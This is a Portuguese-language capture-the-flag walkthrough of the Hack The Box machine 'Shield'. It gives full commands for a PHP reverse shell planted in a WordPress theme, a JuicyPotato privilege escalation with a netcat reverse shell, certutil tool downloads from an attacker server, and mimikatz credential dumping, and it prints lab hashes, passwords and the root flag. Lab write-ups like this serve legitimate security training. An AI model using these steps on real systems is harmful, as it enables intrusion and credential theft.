Shield

IP: 10.10.10.29

Enumeration

# nmap -sC -sV -v -Pn 10.10.10.29
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 10:55 EDT
..............................
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3306/tcp open  mysql   MySQL (unauthorized)

Vamos explorar os possíveis diretórios deste Servidor Web IIS:

# gobuster dir -e -u http://10.10.10.29 -w /usr/share/dirb/wordlists/big.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.29
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/22 10:57:33 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.29/wordpress            (Status: 301) [Size: 152]                                    
===============================================================
2021/09/22 11:02:31 Finished
===============================================================

Existe uma base de dados com vulnerabilidades do wordpress atualizada.

Plugins e themas do Wordpress possuem muitas vulnerabilidades.

A ferramentaa wpscan (https://wpscan.org) usa a base do wpvuln e ajuda a encontrar vulnerabilidades no WP, mas ele está começando a se tornar uma ferramenta paga =/

Você pode obter um token gratuito que vai liberar mais funcionalidades pra vocẽ. Por motivos de preservação, vou ocultar meu TOKEN.

Fiz algumas varreduras iniciais, mas nenhuma surtiu efeito esperado.

1 - Varredura básica:

# wpscan --url http://10.10.10.29/wordpress --api-token SEU_TOKEN

2 - Varredura para encontrar plugins vulneráveis:

# wpscan --url http://10.10.10.29/wordpress --api-token SEU_TOKEN --enumerate vp --plugins-detection aggressive

3 - Brute force a patir de uma lista de senhas (demanda muito tempo):

# wpscan --url http://10.10.10.29/wordpress --api-token SEU_TOKEN --passwords /usr/share/wordlists/rockyou.txt 

No laboratório passado (Vaccine), encontramos a senha "P@s5w0rd!"

Vamos tentar usá-la pra logar no painel do wordpress http://10.10.10.29/wordpress/wp-admin/

Feito isso, nosso caminho fica mais fácil para obter uma shell remota no sistema.

Exploração

Vamos gerar o shell reverso em php:

# msfvenom -p php/reverse_php LHOST=10.10.14.XX LPORT=8443 -f raw > shell.php 

Basta editar os campos de IP e Porta para a sua realidade (veja seus dados da VPN). Vou copiar o conteudo do arquivo shell.php

Alternativamente, gosto de usar este shell:

No menu do wordpress, vamos abrir a opção "Appearence" / "The Editor", vamos ecolher a página 404.php, colar o código malicioso e salvar as alterações.

Agora basta abrir a porta 8443 no meu linux:

# $ nc -vnlp 8443

E então rodar a página na web mesmo:

http://10.10.10.29/wordpress/wp-content/themes/twentysixteen/404.php

Vamos desta forma receber a shell remota:

systeminfo

Host Name:                 SHIELD
OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User

Pós Exploração

Antes de salvar arquivos no alvo Windows Server, preciso criar uma pasta em algum local que meu usuário limitado tenha permissão para gravar. Exemplo:

C:\inetpub\wwwroot\> mkdir teste

No exemplo acima, criei uma pasta chamada teste no diretório inetpub\wwwroot onde posso gravar meu arquivos maliciosos.

Agora já temos uma shell com usuário limitado. Mas precisamos escalar privilégios para uma conta administrativa.

O pulo do gato é o seguinte:

O Windows Server 20016 Standard é vulnerável ao exploit: https://github.com/ohpe/juicy-potato Baixe o executável aqui: https://github.com/ohpe/juicy-potato/releases

Vamos baixar dois arquivos necessários para enviar uma nova Shell para outra porta, mas desta vez com privilégios administrativos.

Faça Download do JuicyPotato e renomeie para jp.exe

$ wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
$ mv JuicyPotato.exe jp.exe

Copie para seu diretório corrente, o netcat (nc.exe)

$ cp /usr/share/windows-resources/binaries/nc.exe .

Agora vamos criar um pequeno servidor http para levar nossos executáveis até o servidor alvo:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Agora, no prompt do Windows Server, vamos baixar os dois arquivos para uma pasta cujo qual tenhamos permissão:

certutil -urlcache -split -f "http://SEU_IP/jp.exe" jp.exe
certutil -urlcache -split -f "http://SEU_IP/nc.exe" nc.exe

Vamos abrir uma nova porta no nosso linux:

# nc -nvlp 1111

Por último, vamos rodar os 2 seguintes comandos no shell da máquina alvo:

echo START C:\inetpub\wwwroot\teste\nc.exe -e powershell.exe SEU_IP 1111 > shell.bat
jp.exe -t * -p C:\inetpub\wwwroot\teste\shell.bat -l 1337
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

Repare que agora, na sua janela linux, vai ter recebido uma nova shell com privilégio administrativo:

# nc -nvlp 1111                                                                                                                                         
listening on [any] 1111 ...
connect to [10.10.14.76] from (UNKNOWN) [10.10.10.29] 51220
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system

Vamos acessar a key para pontuar no HTB:

PS C:\Users\Administrator\Desktop> type root.txt
type root.txt
6e9a9fdc6f64e410a68b847bb4b404fa

Credenciais Windows AD para posteridade!!!

Agora que somos administradores da máquina, vamos coletar alguma credencial válida da rede, pode ser útil nos laboratórios seguintes.

No seu kali, copie o mimikatz.exe para sua pasta atual:

# cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe . 

Vamos criar um server web em python para enviar o executável para o windows server 2016:

# python3 -m http.server 80

Vamos fazer o download do executável no Windows Server:

certutil -urlcache -split -f "http://10.10.14.76/mimikatz.exe" mimikatz.exe

Vamos rodar o mimikatz com o comando:

.\mimikatz.exe

Em seguida coletar as credenciais possíveis:

mimikatz # sekurlsa::logonpasswords

Resultado:

PS C:\inetpub\wwwroot\teste> .\mimikatz.exe
.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 293274 (00000000:0004799a)
Session           : Interactive from 1
User Name         : sandra
Domain            : MEGACORP
Logon Server      : PATHFINDER
Logon Time        : 9/24/2021 10:38:32 AM
SID               : S-1-5-21-1035856440-4137329016-3276773158-1105
	msv :	
	 [00000003] Primary
	 * Username : sandra
	 * Domain   : MEGACORP
	 * NTLM     : 29ab86c5c4d2aab957763e5c1720486d
	 * SHA1     : 8bd0ccc2a23892a74dfbbbb57f0faa9721562a38
	 * DPAPI    : f4c73b3f07c4f309ebf086644254bcbc
	tspkg :	
	wdigest :	
	 * Username : sandra
	 * Domain   : MEGACORP
	 * Password : (null)
	kerberos :	
	 * Username : sandra
	 * Domain   : MEGACORP.LOCAL
	 * Password : Password1234!

Temos as credenciais:

Username : sandra Domain : MEGACORP.LOCAL Password : Password1234!

Credenciais (Wordpress)

No diretório C:\inetpub\wwwroot\wordpress temos o arquivo wp-config.php que contém as credenciais do banco de dados:

define('DB_NAME', 'wordpress124');

define('DB_USER', 'wordpressuser124');

define('DB_PASSWORD', 'P_-U9dA6q.B|');

Mesmo que não usemos ela para nada no momento, é relevante coletar todas as evidências possíveis.

Last updated